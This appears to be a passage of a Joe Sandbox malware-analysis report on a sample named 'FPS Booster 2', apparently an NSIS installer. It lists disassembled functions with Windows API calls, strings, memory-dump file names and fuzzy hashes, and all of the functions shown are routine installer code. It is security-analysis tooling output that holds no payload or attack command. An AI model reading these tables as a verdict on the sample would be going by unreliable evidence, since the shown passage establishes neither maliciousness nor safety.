Instruction Fuzzy Hash: EB117976500008FFDF119F90ED859AA3B7AFB84348F004476FA0AB5070D3358E509A29

Function 6E9E194F Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000808,6E9E22A8,?,00000808), ref: 6E9E1967
GlobalAlloc.KERNEL32(00000040,00000000,?,00000808,6E9E22A8,?,00000808), ref: 6E9E196E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000808,6E9E22A8,?,00000808), ref: 6E9E1982
GetProcAddress.KERNEL32(6E9E22A8,00000000), ref: 6E9E1989
GlobalFree.KERNEL32(00000000), ref: 6E9E1992

Memory Dump Source

Source File: 00000007.00000002.2602445757.000000006E9E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6E9E0000, based on PE: true

Associated: 00000007.00000002.2602410980.000000006E9E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2602469964.000000006E9E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2602504176.000000006E9E5000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6e9e0000_FPS Booster 2.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 42efff23daa4338021e624cbf6f8eb9d5970b104514be558a6dc9643c80691a5
Instruction ID: 9c88982d752259a2bd5090ca92f05ceddeb3b7f762b08a375d188b302dfdea49
Opcode Fuzzy Hash: 42efff23daa4338021e624cbf6f8eb9d5970b104514be558a6dc9643c80691a5
Instruction Fuzzy Hash: 1DF0127210A534BBDA2056B78C4CCABFE9CDF4B2F6B110611F318911A086615D01DAF1

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
Instruction ID: 8f71947f799b2f64a69df86d2a8dcb393400c967cd863db52f2ee5b4f8782dab
Opcode Fuzzy Hash: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
Instruction Fuzzy Hash: 9DF012B2A00104BFE700EBA4EE89DEFBBBCEB04305B104575F502F6162C6759E418B28

Function 004043D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00451D98,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00451D98,?), ref: 00404476
wsprintfW.USER32 ref: 00404483
SetDlgItemTextW.USER32(?,00451D98,000000DF), ref: 00404496

Strings

%u.%u%s%s, xrefs: 00404470

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: fbcd40c561807554bf51775529ac3d7756d0fb4ab7b9da1cf7b6b1c34415f23c
Instruction ID: 019992b557dc20c415266b5889428492ee6a52d86c3b4952972254649920ef77
Opcode Fuzzy Hash: fbcd40c561807554bf51775529ac3d7756d0fb4ab7b9da1cf7b6b1c34415f23c
Instruction Fuzzy Hash: DC11527270021477CF10AA699D45F9E765EEBC5334F10423BF519F31E1D6388A158259

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062CF: lstrlenW.KERNEL32(File: skipped: "C:\Users\user\AppData\Local\Temp\nss20C1.tmp\nsDialogs.dll" (overwriteflag=1),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

DeleteRegValue: "%s\%s" "%s", xrefs: 00402820
DeleteRegKey: "%s\%s", xrefs: 00402843

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
Instruction ID: 70287f52249eeba914cab3bee2f8f529b2cd5257afac1a85b0186071c419a2a5
Opcode Fuzzy Hash: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
Instruction Fuzzy Hash: 2511E732E00200ABDB10FFA5DD4AABE3A64EF40354F10403FF50AB61D2D6798E50C6AD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(File: skipped: "C:\Users\user\AppData\Local\Temp\nss20C1.tmp\nsDialogs.dll" (overwriteflag=1),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00406301: FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
Part of subcall function 00406301: FindClose.KERNEL32(00000000), ref: 00406318

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: 76b1160061a8bcde82d673e25faa9719cd8acd17af1c4b15f649e1f749d05235
Instruction ID: 7c1d43f40acf3f33c375e3424532232737b5c7d4dc38a4161669d523a66d0fcf
Opcode Fuzzy Hash: 76b1160061a8bcde82d673e25faa9719cd8acd17af1c4b15f649e1f749d05235
Instruction Fuzzy Hash: 8A114F71D00214AADB10FFF6984699FBBBCAF44354B10843BA502F72D2E67989418759

Function 00406250 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 004062A4
lstrcatW.KERNEL32(00000000,...), ref: 004062C7

Strings

..., xrefs: 004062BF
%02x%c, xrefs: 0040629C

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
Instruction ID: 9bf571533c0fd83e5fe1ff618cfd19ea7d9613251e6e948213dceada22d50e27
Opcode Fuzzy Hash: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
Instruction Fuzzy Hash: E201D272510219BFCB01DF98CC44A9EBBB9EF84714F20817AF806F3280D2799EA48794

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775
<RM>, xrefs: 00402713
Show, xrefs: 00402770

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$Show$WriteINIStr: wrote [%s] %s=%s in %s
API String ID: 247603264-2407876207
Opcode ID: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
Instruction ID: 073f588d32262f2f2aee4dc53e9f390c64699363c3e1a285ed73a3087a8005e5
Opcode Fuzzy Hash: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
Instruction Fuzzy Hash: FF014471D4022AABCB117FA68DC99EE7978AF08345B10403FF115761E3D7B80940CBAD

Function 00405073 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405083

Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

OleUninitialize.OLE32(00000404,00000000), ref: 004050D1

Part of subcall function 004062CF: lstrlenW.KERNEL32(File: skipped: "C:\Users\user\AppData\Local\Temp\nss20C1.tmp\nsDialogs.dll" (overwriteflag=1),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

Skipping section: "%s", xrefs: 004050E1
Section: "%s", xrefs: 004050A5

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
Instruction ID: 3a4ae3dd184d198318ece42e1af7a5bc75ccdc2bd7a030bb5b2a43e0dda7b67b
Opcode Fuzzy Hash: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
Instruction Fuzzy Hash: 0EF0F433504300ABE7106766AC02B1A7BA0EF84724F25017FFA09721E2DB7928418EAD

Function 6FFB14B2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

Part of subcall function 6FFB13F8: GetPropW.USER32(?,NSIS: nsControl pointer property), ref: 6FFB1401

LoadCursorW.USER32(00000000,00007F89), ref: 6FFB14CE
SetCursor.USER32(00000000,?,?,?), ref: 6FFB14D5
CallWindowProcW.USER32(?,?,00000020,?,?), ref: 6FFB14F2

Strings

, xrefs: 6FFB14C1

Memory Dump Source

Source File: 00000007.00000002.2602569246.000000006FFB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6FFB0000, based on PE: true

Associated: 00000007.00000002.2602537115.000000006FFB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2602601497.000000006FFB3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2602632211.000000006FFB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ffb0000_FPS Booster 2.jbxd

Similarity

API ID: Cursor$CallLoadProcPropWindow
String ID:
API String ID: 1635134901-3916222277
Opcode ID: 187e4e5c36e648225258dcf07840df28b0a39d944ebebbea49e47999a3dc73d5
Instruction ID: cad228a4e6c2b0a413108ccb12fc1613e027c47bb053b8497ab41957c55be87e
Opcode Fuzzy Hash: 187e4e5c36e648225258dcf07840df28b0a39d944ebebbea49e47999a3dc73d5
Instruction Fuzzy Hash: D1E0ED3219460AFBDF015FA1CD4AB993B69FF0A396F048534FA29991A0CB719120DB61

Function 6E9E1108 Relevance: 6.4, APIs: 5, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6E9E15A3: lstrcpyW.KERNEL32(00000000,?,?,?,6E9E185F,?,6E9E1017), ref: 6E9E15C1
Part of subcall function 6E9E15A3: GlobalFree.KERNEL32 ref: 6E9E15D2

GlobalAlloc.KERNEL32(00000040,?), ref: 6E9E118F
GlobalFree.KERNEL32(00000000), ref: 6E9E11D0
GlobalFree.KERNEL32(00000000), ref: 6E9E11F0
GlobalFree.KERNEL32(00000000), ref: 6E9E1204
GlobalFree.KERNEL32(?), ref: 6E9E122E

Memory Dump Source

Source File: 00000007.00000002.2602445757.000000006E9E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6E9E0000, based on PE: true

Associated: 00000007.00000002.2602410980.000000006E9E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2602469964.000000006E9E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2602504176.000000006E9E5000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6e9e0000_FPS Booster 2.jbxd

Similarity

API ID: Global$Free$Alloclstrcpy
String ID:
API String ID: 852173138-0
Opcode ID: 4efe0d6e25cc2eefa902258e8f0ba69990fc850d6ca58e6d2730f2753fe8799c
Instruction ID: 21ab988a3f6daa7e80b306cef85696fad5eed2e4b1167759c88843533ba9d55c
Opcode Fuzzy Hash: 4efe0d6e25cc2eefa902258e8f0ba69990fc850d6ca58e6d2730f2753fe8799c
Instruction Fuzzy Hash: 5131C5B2808201DFD7528FEADC44AB97BECFF4B251B000925EB54D7A50E734DD498E20

Function 6E9E199F Relevance: 6.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

APIs

Part of subcall function 6E9E15A3: lstrcpyW.KERNEL32(00000000,?,?,?,6E9E185F,?,6E9E1017), ref: 6E9E15C1
Part of subcall function 6E9E15A3: GlobalFree.KERNEL32 ref: 6E9E15D2

GlobalFree.KERNEL32(?), ref: 6E9E1A04
GlobalFree.KERNEL32(?), ref: 6E9E1A9C
GlobalFree.KERNEL32(?), ref: 6E9E1AA1
__alldvrm.LIBCMT ref: 6E9E1ACB

Memory Dump Source

Source File: 00000007.00000002.2602445757.000000006E9E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6E9E0000, based on PE: true

Associated: 00000007.00000002.2602410980.000000006E9E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2602469964.000000006E9E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2602504176.000000006E9E5000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6e9e0000_FPS Booster 2.jbxd

Similarity

API ID: FreeGlobal$__alldvrmlstrcpy
String ID:
API String ID: 1811517867-0
Opcode ID: 147d0771ab3fdc434a3156f2ad4bebd73f8d87d118602f14fee540c7a5296cad
Instruction ID: 4b97b624ea94fdaf9d78096e9ebd2a4f82fa34cfd39c68ec976e1728f6099a37
Opcode Fuzzy Hash: 147d0771ab3fdc434a3156f2ad4bebd73f8d87d118602f14fee540c7a5296cad
Instruction Fuzzy Hash: BF51EE31D04109FB9B93DFEB84809BDB7B9AF873147148956D728B3914E670DF488E51

Function 6E9E2800 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

Part of subcall function 6E9E1C1B: GlobalFree.KERNEL32(?), ref: 6E9E1E69
Part of subcall function 6E9E1C1B: GlobalFree.KERNEL32(?), ref: 6E9E1E6E
Part of subcall function 6E9E1C1B: GlobalFree.KERNELBASE(?), ref: 6E9E1E73

GlobalFree.KERNEL32(00000000), ref: 6E9E2868

Part of subcall function 6E9E15E0: GlobalAlloc.KERNEL32(00000040,?,?,6E9E18AA,?), ref: 6E9E15F6
Part of subcall function 6E9E15E0: lstrcpynW.KERNEL32(00000004,?,?,6E9E18AA,?), ref: 6E9E160C

Strings

error, xrefs: 6E9E283D

Memory Dump Source

Source File: 00000007.00000002.2602445757.000000006E9E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6E9E0000, based on PE: true

Associated: 00000007.00000002.2602410980.000000006E9E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2602469964.000000006E9E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2602504176.000000006E9E5000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6e9e0000_FPS Booster 2.jbxd

Similarity

API ID: Global$Free$Alloclstrcpyn
String ID: error
API String ID: 4250884139-1574812785
Opcode ID: f79aff1de5328bdc23e64f3da941d11c13acf6d5044f17c9902fa1c98d3b9eae
Instruction ID: ee18867478b7bac41f8c4bed0efadf7281876d73b21242b2f71cfd23add0203c
Opcode Fuzzy Hash: f79aff1de5328bdc23e64f3da941d11c13acf6d5044f17c9902fa1c98d3b9eae
Instruction Fuzzy Hash: 5501A1B250C601AAC753DBF5D444BDE7BECAF933A9F00082AE34493950DB70D8498EA2

Function 6FFB128F Relevance: 6.1, APIs: 4, Instructions: 53stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00000000,00000400,?,00000400,?,76F8F380), ref: 6FFB129A
CharPrevW.USER32(?,00000000,?,76F8F380), ref: 6FFB12A5
MulDiv.KERNEL32(00000000,00000000,00000064), ref: 6FFB12C6
MapDialogRect.USER32(?,?), ref: 6FFB12EB

Memory Dump Source

Source File: 00000007.00000002.2602569246.000000006FFB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6FFB0000, based on PE: true

Associated: 00000007.00000002.2602537115.000000006FFB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2602601497.000000006FFB3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2602632211.000000006FFB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ffb0000_FPS Booster 2.jbxd

Similarity

API ID: CharDialogPrevRectlstrlen
String ID:
API String ID: 3411278111-0
Opcode ID: c475eb5781d0a8c1401a6fd2ebbf3464fa405a1acd68ef0199485d2077dba616
Instruction ID: 45ef87d6d8144362c8df644075ba2f1707e40c48bb95937de7dcfbffa143e04d
Opcode Fuzzy Hash: c475eb5781d0a8c1401a6fd2ebbf3464fa405a1acd68ef0199485d2077dba616
Instruction Fuzzy Hash: 4F01DB72D00624DBCB119F5ACC84BAEBBFCEF46365B01011AF801E7254E3709910CBD0

Function 6FFB142D Relevance: 6.0, APIs: 4, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?), ref: 6FFB146D
DestroyWindow.USER32 ref: 6FFB1484
GetProcessHeap.KERNEL32(00000000), ref: 6FFB1491
HeapFree.KERNEL32(00000000), ref: 6FFB1498

Memory Dump Source

Source File: 00000007.00000002.2602569246.000000006FFB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6FFB0000, based on PE: true

Associated: 00000007.00000002.2602537115.000000006FFB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2602601497.000000006FFB3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2602632211.000000006FFB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ffb0000_FPS Booster 2.jbxd

Similarity

API ID: HeapWindow$CallDestroyFreeProcProcess
String ID:
API String ID: 1278960361-0
Opcode ID: 47a3e2fa0bbfc87515ecc1ad7bd6c4f36c6c0f1d3048f20dc24b9263faf27948
Instruction ID: d170c3b6b6fab5c89bdffd25008d8862d5c747fa85e7926be9239366ca64fcb3
Opcode Fuzzy Hash: 47a3e2fa0bbfc87515ecc1ad7bd6c4f36c6c0f1d3048f20dc24b9263faf27948
Instruction Fuzzy Hash: 94015A32564A08EFCF129F56DD88B893B79FF4A3B2B11812AFA1986270C7309425DF50

Function 00407224 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406EFE: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407265
lstrcmpW.KERNEL32(?,Version ), ref: 00407276
lstrcpynW.KERNEL32(?,?,?), ref: 0040728D

Strings

Version , xrefs: 0040726D

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
Instruction ID: f6016284c167eb8c93e4c4d2cd91337f160ffdcdaea293fd9af5b6974d265005
Opcode Fuzzy Hash: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
Instruction Fuzzy Hash: 74F08172A0021CBBDF109BA5DD45EEA777CAB44700F000076F600F6191E2B5AE148BA1

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,0040372F,00000001,?,?,?,00000000,00403A73,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A73,?), ref: 0040332E

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
